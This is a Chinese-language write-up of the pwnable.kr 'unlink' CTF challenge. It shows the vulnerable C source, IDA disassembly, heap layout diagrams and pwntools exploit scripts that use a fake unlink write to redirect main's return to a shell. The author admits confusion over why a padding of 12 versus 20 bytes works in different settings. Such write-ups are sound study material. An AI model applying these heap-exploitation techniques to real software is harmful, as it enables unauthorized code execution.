老样子,先看题目
cat unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;struct tagOBJ* bk;char buf[8];
}OBJ;void shell(){
system("/bin/sh");
}void unlink(OBJ* P){
OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ));// double linked list: A <-> B <-> CA->fd = B;B->bk = A;B->fd = C;C->bk = B;printf("here is stack address leak: %p\n", &A);printf("here is heap address leak: %p\n", A);printf("now that you have leaks, get shell!\n");// heap overflow!gets(A->buf);// exploit this unlink!unlink(B);return 0;
}
来分析一下这题
malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ));
这里申请了连续的堆内存
// double linked list: A <-> B <-> CA->fd = B;B->bk = A;B->fd = C;C->bk = B;
这里组成了一个双向链表
// heap overflow!gets(A->buf);
这里没有限制输入产生了堆溢出,可以覆盖A->buf
后面的内容
void unlink(OBJ* P){
OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;
}
仔细查看函数unlink
可以发现,这个函数中,如果控制了P节点的fb和bk指针,那么就可以造成任意地址写入,写入过程是将bk写入fb+4表示的地址处,将fb写入bk表示的地址处。
要想写入想要的地址,必须要保证两步写入操作不会触发写异常保护,我们查看一下程序的保护,发现开启了NX保护,堆上代码不可执行,而且由于程序执行完成unlink
函数后就返回了,所以覆写GOT表操纵也是没有机会的,剩下的只有操作栈了
; Attributes: bp-based frame; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc nearvar_14= dword ptr -14h
var_10= dword ptr -10h
var_C= dword ptr -0Ch
var_4= dword ptr -4
argc= dword ptr 0Ch
argv= dword ptr 10h
envp= dword ptr 14hlea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 14h
sub esp, 0Ch
push 400h ; size
call _malloc
add esp, 10h
sub esp, 0Ch
push 10h ; size
call _malloc
add esp, 10h
mov [ebp+var_14], eax
sub esp, 0Ch
push 10h ; size
call _malloc
add esp, 10h
mov [ebp+var_C], eax
sub esp, 0Ch
push 10h ; size
call _malloc
add esp, 10h
mov [ebp+var_10], eax
mov eax, [ebp+var_14]
mov edx, [ebp+var_C]
mov [eax], edx
mov edx, [ebp+var_14]
mov eax, [ebp+var_C]
mov [eax+4], edx
mov eax, [ebp+var_C]
mov edx, [ebp+var_10]
mov [eax], edx
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
mov [eax+4], edx
sub esp, 8
lea eax, [ebp+var_14]
push eax
push offset format ; "here is stack address leak: %p\n"
call _printf
add esp, 10h
mov eax, [ebp+var_14]
sub esp, 8
push eax
push offset aHereIsHeapAddr ; "here is heap address leak: %p\n"
call _printf
add esp, 10h
sub esp, 0Ch
push offset s ; "now that you have leaks, get shell!"
call _puts
add esp, 10h
mov eax, [ebp+var_14]
add eax, 8
sub esp, 0Ch
push eax ; s
call _gets
add esp, 10h
sub esp, 0Ch
push [ebp+var_C]
call unlink
add esp, 10h
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
main endp
通过对main函数的分析发现A,B,C三个节点的栈地址分别是ebp-0x14
,ebp-0xc
,ebp-0x10
,在函数结尾发现ret
指令之前是lea esp, [ecx-4]
,说明esp
最后会被ecx
修改,而ecx
又会被指令mov ecx, [ebp+var_4]
修改。于是要想把esp
所表示地址的内容改为shell的地址,可以通过更改ebp-4
的内容为shell地址+4来实现,而ebp-4
的地址可以通过A地址来计算,它们的相对偏移为ebp-4-(ebp-0x14)=16
,则堆块的内存布局如下
+-------------------+-------------------+ <- heap addr[A]
| FD | BK |
+-------------------+-------------------+ <- [A->buf]
| shell addr | AAAA |
+---------------------------------------+
| AAAAAAAA |
+---------------------------------------+ <- [B]
| heap + 12 | stack + 16 |
+-------------------+-------------------+
此时我们执行到这里的堆应该如下,我这里用了IDA 远程调试,因为gdb对我来说实在是搞不动,文末尾有IDA调试的方法
可以跟进去看unlink函数的操作
这里在本地调试的时候遇到了一个小坑,我也查了很多别人的writeup,内存布局基本都是和我上面所说的是这种情况
+-------------------+-------------------+ <- heap addr[A]
| FD | BK |
+-------------------+-------------------+ <- [A->buf]
| shell addr | AAAA |
+---------------------------------------+
| AAAAAAAA |
+---------------------------------------+ <- [B]
| heap + 12 | stack + 16 |
+-------------------+-------------------+
但是我这边反编译出来的代码是
但是我使用了他们的代码进行调试后内存布局却出现了错误,本地是产生了错误,但是连上服务器却能获取shell
如果是用网上的exp,在我本地调试main函数返回时候并不能返回到shell,情况如下
大概想了一下问题可能出在unlink
函数中,我找了一些wp,也没看到别人反编译出来的unlink
函数,我这边是这样的
__unwind {
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
mov [eax], edx
nop
leave
retn
不知道和大佬们的有什么不同,如果有大佬知道,请告诉我
但可以稍微修改一下网上的exp就可以用了
网上的基本是这样的
from pwn import *context(arch='amd64',os='linux',log_level='info')
s = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
shell_addr = 0x080484eb
ss = s.run('./unlink')
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*12+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()
我自己本地调试使用的
from pwn import *
context(arch='amd64',os='linux',log_level='info')
from pwnlib.util.proc import wait_for_debugger
ss = process("./unlink",stdin=PTY)
wait_for_debugger(ss.pid)
shell_addr = 0x080484eb
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*20+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()
只有这句修改了把12,改成了20,让内存布局变回正确的位置
ss.sendline(p32(shell_addr)+'a'*20+p32(heap_addr+8+4)+p32(stack_addr+16)
改完后main函数的retn 便可以正确返回shell
但是使用网上大佬们的exp却可以正确获取flag
我也不是很明白为什么,就当勉强完成了把:)
附:IDA远程调试方法
https://github.com/anic/ida2pwntools
https://bbs.pediy.com/thread-247830.htm